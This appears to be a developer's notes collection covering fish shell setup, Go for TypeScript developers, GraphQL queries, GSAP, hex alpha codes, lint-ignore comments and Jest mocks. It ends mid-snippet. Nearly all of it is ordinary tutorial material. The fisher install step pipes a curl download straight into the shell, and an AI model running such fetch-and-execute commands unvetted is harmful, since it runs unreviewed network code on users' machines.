My Fish config: https://github.com/mrmartineau/fish

Change fish settings:

fish_config

Reload fish shell

fish

Switching to fish?

If you wish to use fish (or any other shell) as your default shell, you need to enter your new shell's executable in two places.

Add the shell to /etc/shells with:

echo /usr/local/bin/fish | sudo tee -a /etc/shells

ℹ️ homebrew may install fish to /opt/homebrew/bin/fish

Change your default shell with:

chsh -s /usr/local/bin/fish

This assumes you installed fish to /usr/local/bin, which is the default location when you've compiled it yourself. If you installed it with a package manager, the usual location is /usr/bin/fish, but package managers typically already add it to /etc/shells. Just substitute the correct location.

(To change it back to another shell, substitute /usr/local/bin/fish with /bin/bash, /bin/tcsh or /bin/zsh as appropriate in the steps above.)

http://fishshell.com/docs/current/tutorial.html https://github.com/jorgebucaran/fish-cookbook https://github.com/ghaiklor/iterm-fish-fisher-osx

Fish features

Functions

Create new functions in ~/.config/fish/functions e.g. xyz.fish

Aliases

alias is a simple wrapper for the function builtin, which creates a function wrapping a command.

https://fishshell.com/docs/current/cmds/alias.html

alias gco 'git checkout'
alias undocommit 'git reset HEAD~1'
alias ya 'yarn add'
alias yad 'yarn add -D'

abbr

If you add an abbreviation instead of an alias you'll get better auto-complete. In fish abbr more closely matches the behaviour of a bash alias.

abbr -a gco git checkout

Will add a new abbreviation gco that expands to git checkout.

Fish plugins

Fisher

https://github.com/jorgebucaran/fisher

Plugins are listed in the $__fish_config_dir/fish_plugins file.

Install fisher:

curl -sL https://git.io/fisher | source && fisher install jorgebucaran/fisher

Install a plugin:

fisher install jorgebucaran/nvm.fish@2.1.0

Listing plugins

fisher list

Other info

Set shell variables

set -xg PATH /usr/local/sbin $PATH

https://fishshell.com/docs/current/cmds/set.html

Adding to `$PATH`

Use fish_add_path

fish_add_path /usr/local/sbin

https://fishshell.com/docs/current/cmds/fish_add_path.html

List all $PATH entries

string join \n $PATH | nl

Using `ssh-agent`

When needing to add ssh keys to Github, the docs suggest running eval "$(ssh-agent -s)" but that does not work in fish. Run this instead:

command ssh-agent -s

Executing Bash

If fish is your default shell and you want to copy commands from the internet that are written in bash (the default shell on most systems), you can proceed in one of the following two ways:

Use the bash command with the -c switch to read from a string:

$ bash -c 'some bash command'

Use bash without a switch to open a bash shell you can use and exit afterward:

> bash
$ some bash command
$ exit

> _

Fullscreen video

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

The old vendor-prefix cascade (mozRequestFullscreen, webkitRequestFullscreen, msRequestFullscreen) is dead — unprefixed requestFullscreen() is baseline everywhere now (Safari has had it since 16.4). So this is all you need:

const toggleFullscreen = (elem: HTMLElement) => {
  if (document.fullscreenElement) {
    return document.exitFullscreen()
  }

  return elem.requestFullscreen().catch((error) => {
    console.error(
      `Error attempting to enable fullscreen: ${error.message} (${error.name})`
    )
  })
}

requestFullscreen() returns a promise, so .catch() is the place to handle the user-gesture and permission failures. document.fullscreenElement tells you if something is already fullscreen (and what).

One remaining caveat: iPhone Safari only supports fullscreen on <video> elements — you can't fullscreen an arbitrary div there.

Golang for TypeScript developers

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

A guide to Go (Golang) for developers coming from TypeScript/JavaScript.

Key differences from TypeScript

Concept	TypeScript	Go
Typing	Structural, gradual	Structural, static
Compilation	Transpiles to JS	Compiles to native binary
Null handling	`null` / `undefined`	Zero values, no null
Generics	Full support	Added in Go 1.18
Package manager	npm/yarn/pnpm	Go modules
Concurrency	Async/await, Promises	Goroutines, channels

Variables and constants

TypeScript

const name: string = "Alice"
let age: number = 30
const isActive = true // type inference

Go

// Explicit type
var name string = "Alice"
var age int = 30

// Type inference (short declaration, most common)
name := "Alice"
age := 30
isActive := true

// Constants
const MaxSize = 100
const (
    StatusOK = 200
    StatusNotFound = 404
)

Basic types

TypeScript	Go
`string`	`string`
`number`	`int`, `int8`, `int16`, `int32`, `int64`, `float32`, `float64`
`boolean`	`bool`
`any`	`interface{}` or `any` (Go 1.18+)
`null` / `undefined`	Zero values (no null)
`Array<T>` / `T[]`	`[]T` (slice) or `[n]T` (array)
`Record<K, V>`	`map[K]V`

Zero values (instead of null/undefined)

var s string   // ""
var i int      // 0
var b bool     // false
var slice []int // nil (but usable, len=0)

Functions

TypeScript

function greet(name: string): string {
    return `Hello, ${name}!`
}

const add = (a: number, b: number): number => a + b

// Optional parameters
function log(message: string, level?: string): void {
    console.log(level ?? "INFO", message)
}

Go

// Basic function
func greet(name string) string {
    return "Hello, " + name + "!"
}

// Multiple return values (very common pattern)
func divide(a, b float64) (float64, error) {
    if b == 0 {
        return 0, errors.New("division by zero")
    }
    return a / b, nil
}

// Named return values
func getUser(id int) (user User, found bool) {
    // user and found are pre-declared
    return
}

// Variadic functions (like rest parameters)
func sum(nums ...int) int {
    total := 0
    for _, n := range nums {
        total += n
    }
    return total
}

Note: Go has no optional parameters. Use variadic, structs with options, or functional options pattern instead.

Structs (like interfaces/classes)

TypeScript

interface User {
    id: number
    name: string
    email?: string
}

class UserService {
    private users: User[] = []

    addUser(user: User): void {
        this.users.push(user)
    }
}

Go

// Struct (like interface + class combined)
type User struct {
    ID    int
    Name  string
    Email string // No optional fields; use pointer for "nullable"
}

// Methods are defined outside the struct
type UserService struct {
    users []User
}

// Method with receiver (like class method)
func (s *UserService) AddUser(user User) {
    s.users = append(s.users, user)
}

// Usage
service := &UserService{}
service.AddUser(User{ID: 1, Name: "Alice"})

Interfaces

TypeScript

interface Reader {
    read(buffer: Uint8Array): number
}

interface Writer {
    write(data: Uint8Array): number
}

// Intersection
type ReadWriter = Reader & Writer

Go

// Interfaces are implicit (no "implements" keyword)
type Reader interface {
    Read(p []byte) (n int, err error)
}

type Writer interface {
    Write(p []byte) (n int, err error)
}

// Embedding (like intersection)
type ReadWriter interface {
    Reader
    Writer
}

// Any type with these methods automatically implements the interface
type MyFile struct{}

func (f *MyFile) Read(p []byte) (int, error) {
    return 0, nil
}
// MyFile now implements Reader

Error handling

TypeScript

try {
    const data = await fetchData()
} catch (error) {
    console.error("Failed:", error)
}

// Or with Result pattern
type Result<T, E> = { ok: true; value: T } | { ok: false; error: E }

Go

// Errors are values, not exceptions
result, err := doSomething()
if err != nil {
    return fmt.Errorf("failed to do something: %w", err)
}

// Creating errors
import "errors"

var ErrNotFound = errors.New("not found")

func findUser(id int) (*User, error) {
    if id <= 0 {
        return nil, ErrNotFound
    }
    // ...
    return &user, nil
}

// Error wrapping (like cause chains)
if err != nil {
    return fmt.Errorf("findUser(%d): %w", id, err)
}

// Checking error types
if errors.Is(err, ErrNotFound) {
    // handle not found
}

Arrays and slices

TypeScript

const arr: number[] = [1, 2, 3]
arr.push(4)
const doubled = arr.map(n => n * 2)
const evens = arr.filter(n => n % 2 === 0)
const sum = arr.reduce((a, b) => a + b, 0)

Go

// Slice (dynamic, like JS array)
arr := []int{1, 2, 3}
arr = append(arr, 4)

// No built-in map/filter/reduce - use loops
doubled := make([]int, len(arr))
for i, n := range arr {
    doubled[i] = n * 2
}

// Filter
var evens []int
for _, n := range arr {
    if n%2 == 0 {
        evens = append(evens, n)
    }
}

// Reduce
sum := 0
for _, n := range arr {
    sum += n
}

// Slicing (same syntax!)
sub := arr[1:3] // [2, 3]

Maps (objects/Records)

TypeScript

const scores: Record<string, number> = {
    alice: 100,
    bob: 85
}
scores["charlie"] = 90
const aliceScore = scores["alice"]
delete scores["bob"]

Go

// Create map
scores := map[string]int{
    "alice": 100,
    "bob":   85,
}

// Add/update
scores["charlie"] = 90

// Access (returns zero value if missing)
aliceScore := scores["alice"]

// Check if key exists
score, exists := scores["alice"]
if !exists {
    fmt.Println("alice not found")
}

// Delete
delete(scores, "bob")

// Iterate
for name, score := range scores {
    fmt.Printf("%s: %d\n", name, score)
}

Concurrency

TypeScript

// Promises and async/await
async function fetchAll(urls: string[]): Promise<Response[]> {
    return Promise.all(urls.map(url => fetch(url)))
}

await fetchAll(["url1", "url2"])

Go

// Goroutines (lightweight threads)
go doSomething() // runs concurrently

// Channels (typed pipes for communication)
ch := make(chan string)

go func() {
    ch <- "hello" // send
}()

msg := <-ch // receive

// Buffered channel
ch := make(chan int, 10)

// Select (like Promise.race but for channels)
select {
case msg := <-ch1:
    fmt.Println("from ch1:", msg)
case msg := <-ch2:
    fmt.Println("from ch2:", msg)
case <-time.After(time.Second):
    fmt.Println("timeout")
}

// WaitGroup (like Promise.all)
var wg sync.WaitGroup

for _, url := range urls {
    wg.Add(1)
    go func(u string) {
        defer wg.Done()
        fetch(u)
    }(url)
}

wg.Wait() // blocks until all done

Generics (Go 1.18+)

TypeScript

function first<T>(arr: T[]): T | undefined {
    return arr[0]
}

type Stack<T> = {
    items: T[]
    push: (item: T) => void
    pop: () => T | undefined
}

Go

// Generic function
func First[T any](slice []T) (T, bool) {
    if len(slice) == 0 {
        var zero T
        return zero, false
    }
    return slice[0], true
}

// Generic type
type Stack[T any] struct {
    items []T
}

func (s *Stack[T]) Push(item T) {
    s.items = append(s.items, item)
}

func (s *Stack[T]) Pop() (T, bool) {
    if len(s.items) == 0 {
        var zero T
        return zero, false
    }
    n := len(s.items) - 1
    item := s.items[n]
    s.items = s.items[:n]
    return item, true
}

// Constraints
type Number interface {
    int | int64 | float64
}

func Sum[T Number](nums []T) T {
    var sum T
    for _, n := range nums {
        sum += n
    }
    return sum
}

Package management

TypeScript

npm init
npm install express

// package.json
{
    "dependencies": {
        "express": "^4.18.0"
    }
}

Go

go mod init myproject
go get github.com/gin-gonic/gin

// go.mod
module myproject

go 1.21

require github.com/gin-gonic/gin v1.9.0

// Import in code
import "github.com/gin-gonic/gin"

JSON handling

TypeScript

interface User {
    id: number
    name: string
    createdAt: Date
}

const json = JSON.stringify(user)
const parsed: User = JSON.parse(json)

Go

import "encoding/json"

type User struct {
    ID        int       `json:"id"`
    Name      string    `json:"name"`
    CreatedAt time.Time `json:"createdAt"`
    Password  string    `json:"-"` // Exclude from JSON
    Email     string    `json:"email,omitempty"` // Omit if empty
}

// Marshal (stringify)
data, err := json.Marshal(user)

// Unmarshal (parse)
var user User
err := json.Unmarshal(data, &user)

HTTP server

TypeScript (Express)

import express from 'express'

const app = express()
app.use(express.json())

app.get('/users/:id', (req, res) => {
    const id = req.params.id
    res.json({ id, name: 'Alice' })
})

app.listen(3000)

Go (standard library)

package main

import (
    "encoding/json"
    "net/http"
)

func main() {
    http.HandleFunc("/users/", func(w http.ResponseWriter, r *http.Request) {
        id := r.URL.Path[len("/users/"):]
        json.NewEncoder(w).Encode(map[string]string{
            "id":   id,
            "name": "Alice",
        })
    })

    http.ListenAndServe(":3000", nil)
}

Go (with Gin framework)

import "github.com/gin-gonic/gin"

func main() {
    r := gin.Default()

    r.GET("/users/:id", func(c *gin.Context) {
        id := c.Param("id")
        c.JSON(200, gin.H{"id": id, "name": "Alice"})
    })

    r.Run(":3000")
}

Testing

TypeScript (Jest)

describe('math', () => {
    it('adds numbers', () => {
        expect(add(1, 2)).toBe(3)
    })
})

Go

// math_test.go (must end in _test.go)
package math

import "testing"

func TestAdd(t *testing.T) {
    result := Add(1, 2)
    if result != 3 {
        t.Errorf("Add(1, 2) = %d; want 3", result)
    }
}

// Table-driven tests (idiomatic Go)
func TestAddTable(t *testing.T) {
    tests := []struct {
        a, b, want int
    }{
        {1, 2, 3},
        {0, 0, 0},
        {-1, 1, 0},
    }

    for _, tt := range tests {
        got := Add(tt.a, tt.b)
        if got != tt.want {
            t.Errorf("Add(%d, %d) = %d; want %d", tt.a, tt.b, got, tt.want)
        }
    }
}

go test ./...

Common gotchas for TS developers

No unused variables/imports - Go won't compile with unused code
Exported names are Capitalised - User is public, user is private
No exceptions - use error return values
No optional parameters - use variadic or option structs
Nil is not null - nil has specific semantics per type
Pointers matter - *User vs User affects mutability
No ternary operator - use if/else statements
Loops only have for - no while, do-while, forEach

Resources

GraphQL

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

Essential quotes

"GraphQL is about asking for specific fields on objects"
"The query has exactly the same shape as the result"
"Clients can fetch lots of related data in one request, instead of making several roundtrips in a classic REST architecture"
"GraphQL queries look the same for both single items or lists of items"
"In REST, you can only pass a single set of arguments but in GraphQL, every field and nested object can get its own set of arguments, making GraphQL a complete replacement for making multiple API fetches"
"While query fields are executed in parallel, mutation fields run in series, one after the other"

Resources

https://www.graphqlbin.com/
https://www.justgraphql.com/resources
https://graphql.org/
https://www.graphql.com/
https://www.howtographql.com/

Glossary

Type
Field
Function for each field on each type

type Query {
  me: User
}

type User {
  id: ID
  name: String
}

function Query_me(request) {
  return request.auth.user;
}

function User_name(user) {
  return user.getName();
}

Steps involved

Receive GraphQL query
Validate query against the types and field that are defined
Run provided functions to produce the result

Example Query

{
  me {
    name
  }
}

JSON result

{
  "me": {
    "name": "Luke Skywalker"
  }
}

Example Query

{
  hero {
    name
  }
}

JSON result

{
  "data": {
    "hero": {
      "name": "R2-D2"
    }
  }
}

Nested data with arrays

Query

{
  hero {
    name
    # Queries can have comments!
    friends {
      name
    }
  }
}

JSON result

{
  "data": {
    "hero": {
      "name": "R2-D2",
      "friends": [
        {
          "name": "Luke Skywalker"
        },
        {
          "name": "Han Solo"
        },
        {
          "name": "Leia Organa"
        }
      ]
    }
  }
}

Pass arguments to fields

Query

{
  human(id: "1000") {
    name
    height
  }
}

JSON result

{
  "data": {
    "human": {
      "name": "Luke Skywalker",
      "height": 1.72
    }
  }
}

Pass arguments into scalar fields to let the server transform it

Query

{
  human(id: "1000") {
    name
    height(unit: FOOT) # Enumeration type
  }
}

JSON result

{
  "data": {
    "human": {
      "name": "Luke Skywalker",
      "height": 5.6430448
    }
  }
}

Data types for arguments

Enumeration type
GraphQL's default set of types
The GraphQL server can declare its own custom types (must be serialisable)

Aliases to query the same field with different arguments

Aliases let you rename the result of a field to anything you want

{
  empireHero: hero(episode: EMPIRE) {
    name
  }
  jediHero: hero(episode: JEDI) {
    name
  }
}

JSON result

{
  "data": {
    "empireHero": {
      "name": "Luke Skywalker"
    },
    "jediHero": {
      "name": "R2-D2"
    }
  }
}

Fragments to split queries into reusable units

{
  leftComparison: hero(episode: EMPIRE) {
    ...comparisonFields
  }
  rightComparison: hero(episode: JEDI) {
    ...comparisonFields
  }
}

fragment comparisonFields on Character {
  name
  appearsIn
  friends {
    name
  }
}

JSON result

{
  "data": {
    "leftComparison": {
      "name": "Luke Skywalker",
      "appearsIn": ["NEWHOPE", "EMPIRE", "JEDI"],
      "friends": [
        {
          "name": "Han Solo"
        },
        {
          "name": "Leia Organa"
        },
        {
          "name": "C-3PO"
        },
        {
          "name": "R2-D2"
        }
      ]
    },
    "rightComparison": {
      "name": "R2-D2",
      "appearsIn": ["NEWHOPE", "EMPIRE", "JEDI"],
      "friends": [
        {
          "name": "Luke Skywalker"
        },
        {
          "name": "Han Solo"
        },
        {
          "name": "Leia Organa"
        }
      ]
    }
  }
}

Use variables in fragments

query HeroComparison($first: Int = 3) {
  leftComparison: hero(episode: EMPIRE) {
    ...comparisonFields
  }
  rightComparison: hero(episode: JEDI) {
    ...comparisonFields
  }
}

fragment comparisonFields on Character {
  name
  friendsConnection(first: $first) {
    totalCount
    edges {
      node {
        name
      }
    }
  }
}

Variable

{ "first": 2 }

JSON result

{
  "data": {
    "leftComparison": {
      "name": "Luke Skywalker",
      "friendsConnection": {
        "totalCount": 4,
        "edges": [
          {
            "node": {
              "name": "Han Solo"
            }
          },
          {
            "node": {
              "name": "Leia Organa"
            }
          }
        ]
      }
    },
    "rightComparison": {
      "name": "R2-D2",
      "friendsConnection": {
        "totalCount": 3,
        "edges": [
          {
            "node": {
              "name": "Luke Skywalker"
            }
          },
          {
            "node": {
              "name": "Han Solo"
            }
          }
        ]
      }
    }
  }
}

Operation types

query (can be omitted with "query shorthand syntax" -> no name + no variable definitions)
mutation
subscription

Operation name

Is only required in multi-operation documents
"Name your queries to make the code less ambigous"

query HeroNameAndFriends {
  hero {
    name
    friends {
      name
    }
  }
}

Using variables

It's not needed to manipulate the query string at runtime
Never do string interpolation to construct queries from user-supplied values

Steps for using variables

Replace the static value with $variableName
Declare $variableName as an accepted variable
Pass variableName: value (usually) as JSON

Query with variable definition

query HeroNameAndFriends($episode: Episode) {
  hero(episode: $episode) {
    name
    friends {
      name
    }
  }
}

Variable

{
  "episode": "JEDI"
}

JSON result

{
  "data": {
    "hero": {
      "name": "R2-D2",
      "friends": [
        {
          "name": "Luke Skywalker"
        },
        {
          "name": "Han Solo"
        },
        {
          "name": "Leia Organa"
        }
      ]
    }
  }
}

Variable definitions

Like arguments to a query
Must be prefixed with a $ sign followed by their type ($episode: Episode)

Required variable definitions

are suffixed with a ! sign ($episode: Episode!)

Default variable values

are suffixed with " sign ($episode: Episode = JEDI)

query HeroNameAndFriends($episode: Episode = JEDI) {
  hero(episode: $episode) {
    name
    friends {
      name
    }
  }
}

Directives to dynamically change the structure using variables

Example: UI component that has a summarised and a detailed view
Directives can be attached to a filed or fragment incusion
Two directives built into the spec:
- include(if: Boolean) - Includes this field only if the argument is true
- skip(if: Boolean) - Skips this field if the argument is true

query Hero($episode: Episode, $withFriends: Boolean!) {
  hero(episode: $episode) {
    name
    friends @include(if: $withFriends) {
      name
    }
  }
}

Summarised view

Variables

{
  "episode": "JEDI",
  "withFriends": false
}

JSON result

{
  "data": {
    "hero": {
      "name": "R2-D2"
    }
  }
}

Detailed view

Variables

{
  "episode": "JEDI",
  "withFriends": true
}

JSON result

{
  "data": {
    "hero": {
      "name": "R2-D2",
      "friends": [
        {
          "name": "Luke Skywalker"
        },
        {
          "name": "Han Solo"
        },
        {
          "name": "Leia Organa"
        }
      ]
    }
  }
}

Mutations

We can mutate and query the new value of a field with one request
createReview field returns the stars and commentary fields of the newly created review
The review variable is not a scalar - It's an input object type

mutation CreateReviewForEpisode($ep: Episode!, $review: ReviewInput!) {
  createReview(episode: $ep, review: $review) {
    stars
    commentary
  }
}

Variables

{
  "ep": "JEDI",
  "review": {
    "stars": 5,
    "commentary": "This is a great movie!"
  }
}

JSON result

{
  "data": {
    "createReview": {
      "stars": 5,
      "commentary": "This is a great movie!"
    }
  }
}

Multiple fields in mutations

While query fields are executed in parallel, mutation fields run in series, one after the other
2 incrementCredits mutations in one request mean: the first is guaranteed to finish before the second begins

Inline Fragments for fields that return an interface or a union type

The hero field returns the type Character, which might be either a Human or a Droid depending on the episode argument
name exists on both so you can directly ask for that in the query
To ask for a field on the concrete type, you need to use an inline fragment with a type condition

query HeroForEpisode($ep: Episode!) {
  hero(episode: $ep) {
    name
    ... on Droid {
      primaryFunction
    }
    ... on Human {
      height
    }
  }
}

Variables

{
  "ep": "JEDI"
}

JSON result

{
  "data": {
    "hero": {
      "name": "R2-D2",
      "primaryFunction": "Astromech"
    }
  }
}

GSAP

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

GSAP

Docs: https://gsap.com/docs/v3/
Cheatsheet: https://gsap.com/cheatsheet/

GSAP is now 100% free — including all the formerly-paid plugins (ScrollSmoother, SplitText, MorphSVG, etc.) — since the Webflow acquisition.

Eases

https://gsap.com/docs/v3/Eases

ScrollTrigger

Docs: https://gsap.com/docs/v3/Plugins/ScrollTrigger
Demos: https://gsap.com/st-demos/

import gsap from 'gsap'
import { ScrollTrigger } from 'gsap/ScrollTrigger'
gsap.registerPlugin(ScrollTrigger)

With React (useGSAP hook)

For React 18+, GSAP provides the @gsap/react package with a useGSAP hook that handles cleanup automatically.

npm install @gsap/react

import { useRef } from 'react'
import gsap from 'gsap'
import { useGSAP } from '@gsap/react'

gsap.registerPlugin(useGSAP)

const MyComponent = () => {
  const container = useRef<HTMLDivElement>(null)

  useGSAP(
    () => {
      // All GSAP animations in here are scoped to the container
      // and automatically cleaned up when the component unmounts
      gsap.to('.box', { x: 100, duration: 1 })
    },
    { scope: container }
  )

  return (
    <div ref={container}>
      <div className="box">Animated</div>
    </div>
  )
}

With dependencies

useGSAP(
  () => {
    gsap.to('.box', { x: isActive ? 200 : 0 })
  },
  { scope: container, dependencies: [isActive] }
)

With ScrollTrigger

import { useRef } from 'react'
import gsap from 'gsap'
import { ScrollTrigger } from 'gsap/ScrollTrigger'
import { useGSAP } from '@gsap/react'

gsap.registerPlugin(ScrollTrigger, useGSAP)

const ScrollAnimation = () => {
  const container = useRef<HTMLDivElement>(null)

  useGSAP(
    () => {
      gsap.to('.box', {
        y: 100,
        scrollTrigger: {
          trigger: '.box',
          start: 'top center',
          end: 'bottom center',
          scrub: true,
        },
      })
    },
    { scope: container }
  )

  return (
    <div ref={container}>
      <div className="box">Scroll-driven</div>
    </div>
  )
}

Context-safe callbacks

For event handlers or callbacks, use contextSafe:

const { contextSafe } = useGSAP({ scope: container })

const handleClick = contextSafe(() => {
  gsap.to('.box', { rotation: 360 })
})

return <button onClick={handleClick}>Rotate</button>

Legacy approach (manual cleanup)

If you can't use @gsap/react, handle cleanup manually:

useEffect(() => {
  const ctx = gsap.context(() => {
    gsap.to('.box', { x: 100 })
  }, container)

  return () => ctx.revert()
}, [])

ScrollTo

Docs: https://gsap.com/docs/v3/Plugins/ScrollToPlugin
Demos: https://gsap.com/st-demos/

import gsap from 'gsap'
import { ScrollToPlugin } from 'gsap/ScrollToPlugin'
gsap.registerPlugin(ScrollToPlugin)

Useful links:

https://css-tricks.com/writing-smarter-animation-code/
https://css-tricks.com/tips-for-writing-animation-code-efficiently/

Hexadecimal colour code for transparency

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

How to set transparency with hex value?

For example, you want to set 40% alpha transparence to #000000 (black color), you need to add 66 like this #00000066.

All hex value from 100% to 0% alpha:

100% — FF
99% — FC
98% — FA
97% — F7
96% — F5
95% — F2
94% — F0
93% — ED
92% — EB
91% — E8
90% — E6
89% — E3
88% — E0
87% — DE
86% — DB
85% — D9
84% — D6
83% — D4
82% — D1
81% — CF
80% — CC
79% — C9
78% — C7
77% — C4
76% — C2
75% — BF
74% — BD
73% — BA
72% — B8
71% — B5
70% — B3
69% — B0
68% — AD
67% — AB
66% — A8
65% — A6
64% — A3
63% — A1
62% — 9E
61% — 9C
60% — 99
59% — 96
58% — 94
57% — 91
56% — 8F
55% — 8C
54% — 8A
53% — 87
52% — 85
51% — 82
50% — 80
49% — 7D
48% — 7A
47% — 78
46% — 75
45% — 73
44% — 70
43% — 6E
42% — 6B
41% — 69
40% — 66
39% — 63
38% — 61
37% — 5E
36% — 5C
35% — 59
34% — 57
33% — 54
32% — 52
31% — 4F
30% — 4D
29% — 4A
28% — 47
27% — 45
26% — 42
25% — 40
24% — 3D
23% — 3B
22% — 38
21% — 36
20% — 33
19% — 30
18% — 2E
17% — 2B
16% — 29
15% — 26
14% — 24
13% — 21
12% — 1F
11% — 1C
10% — 1A
9% — 17
8% — 14
7% — 12
6% — 0F
5% — 0D
4% — 0A
3% — 08
2% — 05
1% — 03
0% — 00

Ignoring code

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

ESlint

https://eslint.org/docs/user-guide/configuring#disabling-rules-with-inline-comments

/* eslint-disable */
alert('foo')
/* eslint-enable */

/* eslint-disable no-alert, no-console */
alert('foo')
console.log('bar')
/* eslint-enable no-alert, no-console */

alert('foo') // eslint-disable-line

alert('foo') // eslint-disable-line no-alert

Prettier

https://prettier.io/docs/en/ignore.html

JavaScript

A JavaScript comment of // prettier-ignore will exclude the next node in the abstract syntax tree from formatting.

// prettier-ignore
matrix(
    1, 0, 0,
    0, 1, 0,
    0, 0, 1
)

HTML

<!-- prettier-ignore -->
<div         class="x"       >hello world</div            >

<!-- prettier-ignore-attribute -->
<div
  (mousedown)="       onStart    (    )         "
  (mouseup)="         onEnd      (    )         "
></div>

<!-- prettier-ignore-attribute (mouseup) -->
<div
  (mousedown)="onStart()"
  (mouseup)="         onEnd      (    )         "
></div>

JSX

<div>
  {/* prettier-ignore */}
  <span     ugly  format=''   />
</div>

CSS

/* prettier-ignore */
.my    ugly rule
{

}

Markdown

<!-- prettier-ignore -->
Do   not    format   this

This type of ignore is only allowed to be used in top-level and aimed to disable formatting for auto-generated content, e.g. all-contributors, markdown-toc, etc.

<!-- prettier-ignore-start -->
<!-- SOMETHING AUTO-GENERATED BY TOOLS - START -->

| MY | AWESOME | AUTO-GENERATED | TABLE |
|-|-|-|-|
| a | b | c | d |

<!-- SOMETHING AUTO-GENERATED BY TOOLS - END -->
<!-- prettier-ignore-end -->

YAML

# prettier-ignore
key  : value
hello: world

GraphQL

{
  # prettier-ignore
  addReaction(input:{superLongInputFieldName:"MDU6SXNzdWUyMzEzOTE1NTE=",content:HOORAY}) {
    reaction {content}
  }
}

TypeScript

// @ts-ignore

// @ts-expect-error

Prefer // @ts-expect-error — unlike @ts-ignore, it errors if the next line doesn't actually have an error, so stale suppressions don't hang around.

Biome

https://biomejs.dev/analyzer/suppressions/

Biome ignores need the rule name and a reason. The general shape is // biome-ignore <category>[/<group>/<rule>]: <reason> where the category is lint, format, assist, or syntax.

// biome-ignore lint/suspicious/noExplicitAny: legacy API shape
const data: any = getData()

// suppress a whole group, or all lint rules (less specific = more blunt)
// biome-ignore lint/suspicious: reason
// biome-ignore lint: reason

Skip formatting for the next node:

// biome-ignore format: hand-aligned matrix
matrix(
  1, 0, 0,
  0, 1, 0,
  0, 0, 1
)

Whole-file suppression — must be at the top of the file:

// biome-ignore-all lint/suspicious/noConsole: CLI output

Range suppression:

// biome-ignore-start lint/suspicious/noDebugger: local debugging
debugger
// biome-ignore-end lint/suspicious/noDebugger: local debugging

oxfmt

https://oxc.rs/docs/guide/usage/formatter/ignore-comments.html

Oxc's formatter uses // oxfmt-ignore on the line before a statement — and it also honours // prettier-ignore, so migrating doesn't mean rewriting existing ignores:

// oxfmt-ignore
matrix(
  1, 0, 0,
  0, 1, 0,
  0, 0, 1
)

<div>
  {/* oxfmt-ignore */}
  <span     ugly  format=''   />
</div>

Caveats: no trailing same-line ignores (deliberate, for performance), and no range ignores (oxfmt-ignore-start/end) yet — both differences from Prettier. For linting, oxlint uses ESLint-style comments (// oxlint-disable-next-line rule-name).

Stylelint

/* stylelint-disable */
const Container = styled.div``
/* stylelint-enable */

Pluralisation with inflect()

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

Often nouns need slight changes depending on the quantity of that noun. Example: One person, several people. I call these differences "inflections". The inflect function below is a little helper function I use to help me apply inflections in my application.

const inflect = (singular: string, plural = `${singular}s`) => {
  return (quantity: number): string =>
    Math.abs(quantity) === 1 ? singular : plural
}

inflect is a higher order function, meaning it's a function that returns a function. If you need some info on higher order functions, check out my post on them and the post on currying.

This solution makes use of default parameters for the plural argument. If adding an "s" is all you need to make a plural, then you don't need to provide it. Like this

// If you use this a lot, you can export this particular inflection
const inflectPost = inflect('post')

console.log(inflectPost(1)) // 'post'
console.log(inflectPost(2)) // 'posts'

But often plurals have oddities (like "person" and "people"), so you can supply a plural argument when you need it.

const inflectMouse = inflect('mouse', 'mice')
const inflectKnife = inflect('knife', 'knives')

Now, as helpful as this is, it is not a proper solution should you need internationalization. Treat this is a helper function for those instances this can support. For anything beyond trivial English plurals, use the built-in Intl.PluralRules — it's the standards-based option.

is-mobile check

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

UA-string sniffing is mostly a dead end now — browsers ship reduced/frozen user agent strings, so device detection from them is increasingly unreliable. On the client, use these instead:

// UA Client Hints — Chromium only, so fall back to a capability check
const isMobile =
  navigator.userAgentData?.mobile ??
  matchMedia('(pointer: coarse)').matches

navigator.userAgentData.mobile is the browser telling you directly. Where it's unavailable (Safari, Firefox), (pointer: coarse) checks the primary input device — which is usually the question I'm actually asking anyway.

Server-side (UA string is all you have)

For parsing a User-Agent header, ua-parser-js still works:

import { UAParser } from 'ua-parser-js'

const isUserAgentSignallingMobile = (userAgentString) => {
  const { device } = UAParser(userAgentString)
  return device.type === 'mobile'
}

Two caveats:

ua-parser-js v2 (2024) relicensed to AGPLv3/commercial. The MIT version is the frozen 1.x line — pin accordingly.
Because of frozen/reduced UA strings, treat the result as a hint, not truth.

Jest global mocks

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

Some useful mocks

`window.matchMedia`

jsdom still doesn't implement matchMedia. The mock needs the modern addEventListener/removeEventListener/dispatchEvent shape — I keep the deprecated addListener/removeListener in there too for older libs that still call them.

/**
 * Contract + integration tests will use node env, not jsdom;
 * window doesn't exist in node and will make jest fail.
 * Put any mocks referencing 'window' in this 'if' block.
 */
if (typeof window !== 'undefined') {
  window.matchMedia = jest.fn().mockImplementation((query) => ({
    matches: false,
    media: query,
    onchange: null,
    addEventListener: jest.fn(),
    removeEventListener: jest.fn(),
    dispatchEvent: jest.fn(),
    // deprecated, but some libs still use them
    addListener: jest.fn(),
    removeListener: jest.fn(),
  }))
}

`next/link`

jest.mock('next/link', () => {
  return ({ children }) => {
    return children
  }
})

Next.js router

For the App Router, mock next/navigation:

jest.mock('next/navigation', () => ({
  useRouter: () => ({
    push: jest.fn(),
    replace: jest.fn(),
    back: jest.fn(),
    prefetch: jest.fn(),
    refresh: jest.fn(),
  }),
  usePathname: () => '/',
  useSearchParams: () => new URLSearchParams(),
}))

Legacy (Pages Router only):

jest.mock('next/router', () => {
  return {
    push: () => {},
    replace: () => {},
    prefetch: () => {},
  }
})

`next/config` (legacy)

publicRuntimeConfig only exists in the Pages Router — it's unavailable in the App Router, where plain env vars are preferred. Keeping this for old codebases:

import config from 'config'

const mockPublicConfigData = {
  env: config.get('env'),
  base: config.get('base'),
  client: config.get('client'),
}

jest.mock('next/config', () => () => ({
  publicRuntimeConfig: mockPublicConfigData,
}))

I used to stub MutationObserver here too, but jsdom has shipped a real implementation since 2020, so that's no longer needed.

Keycode

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

document.addEventListener('keydown', (event: KeyboardEvent) => {
  if (event.target instanceof Node && isFormField(event.target)) {
    return
  }
